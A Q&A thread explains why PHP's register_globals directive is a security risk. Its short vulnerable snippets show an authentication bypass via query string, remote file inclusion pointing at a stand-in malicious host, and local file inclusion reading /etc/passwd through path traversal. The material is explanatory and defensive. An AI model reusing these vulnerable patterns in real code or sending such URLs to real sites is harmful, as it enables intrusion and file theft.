I'm not a PHP developer but i've seen in a couple of places that people seem to treat it like the plague or something. Why?
4 Answers
REGISTER_GLOBALS
means that all variables passed through GET or POST are avilable as global variables in your script. Since accessing undeclared variables is not an error in PHP (it's a warning), it can lead to very nasty situations. Consider this, for example:
<?php
// $debug = true;
if ($debug) {
echo "query: $query\n";
}
It is not a bad thing per se (well engineered code should not generate warnings, therefore should not access any variables that might be undeclared (and should not need REGISTER_GLOBALS
for the same reason)), but PHP code is usually [very] low quality, leading to this kind of security holes.
-
23
-
6Usually != always. But I would recommend you to browse the source of some open-source CMS's. You'll find more
eval()
,erege_replace()
andREGISTER_GLOBALS
than you might expect. Note: I'm a php developer myself. Sep 13, 2009 at 14:58 -
Trying to read undefined variables is nasty. You wouldn’t have that problem with
$debug = false;
.– GumboSep 21, 2009 at 22:19 -
@OIS - PHP scripts are often developed by people with very limited training, who are not necessarily aware of the full impact of their decisions. This is probably what the answerer meant. May 16, 2012 at 14:32
-
1@soulmerge: why do you write register_globals uppercase? It's not a constant, it's a php.ini directive: php.net/manual/en/ini.core.php#ini.register-globals, so writing it uppercase doesn't make sense. By the way, when writing "PHP code is usually [very] low quality", I think you should replace the word "usually" with "often". Jan 13, 2013 at 18:01
Enabling REGISTER_GLOBALS exposes webpages served by PHP to vulnerabilities which some bad guys will be keen to exploit.
With it enabled, any query string at the end of the URL:
http://yourdomain/something.php?valid=true
will affect the value of a variable $valid (for example) in something.php, if it exists.
If you're using publically available PHP code (a library for example) the names of variables are well known, and it would be possible for hackers to control their values by assigning values in the query string. They may be able to bypass authentication.
Even if you're not using public code, it may be possible to guess the names of important variables, and control their values.
It used to be the default to have REGISTER_GLOBALS enabled in PHP.INI
Recent practice has been to disable it by default. Enable it at your own risk!
Just to add, here are some situations where having REGISTER_GLOBALS
enabled could ruin your day:
Using the query string to bypass access control (hack using http://example.com/?logged=1):
<?php
$logged = User::getLogged();
if ($logged)
{
include '/important/secret.php';
}
?>
Remote File Inclusion (RFI):
<?php
//http://example.com/?path=http://evilbadthings.example.com/
include "$path";
?>
Local File Inclusion (LFI):
<?php
//http://example.com/?path=../../../../etc/passwd
include "$path";
?>
-
10Your first example is not compromised since the value of
$logged
is defined by the return value ofUser::getLogged
.– GumboSep 21, 2009 at 22:32 -
@Gumbo: That's implementation defined, as we're talking about register globals here, the static method access the global with an isset check to not trigger the warning. Totally obvious, right? ^^– hakreJul 1 at 16:08
Because it allows the user to inject any global variable in your code without any control.
Based on the quality of the code, it may introduce major security bugs.